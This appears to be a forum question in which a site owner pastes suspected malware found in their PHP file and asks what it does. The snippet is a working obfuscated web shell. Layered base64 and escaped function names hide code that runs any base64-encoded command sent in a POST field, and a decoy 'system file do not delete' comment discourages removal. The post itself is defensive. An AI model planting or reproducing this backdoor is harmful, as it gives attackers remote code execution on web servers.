How to decode this php code in one of my script
<p>I had this in my php file. looks like some malware but i want to know what does it means
what its doing</p>

<pre><code>&lt;?php //cb6f82f3e4007bdaccf419abafab94c8
 $_=
//system file do not delete
'CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0=';
 //system file do not delete
$__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));
</code></pre>
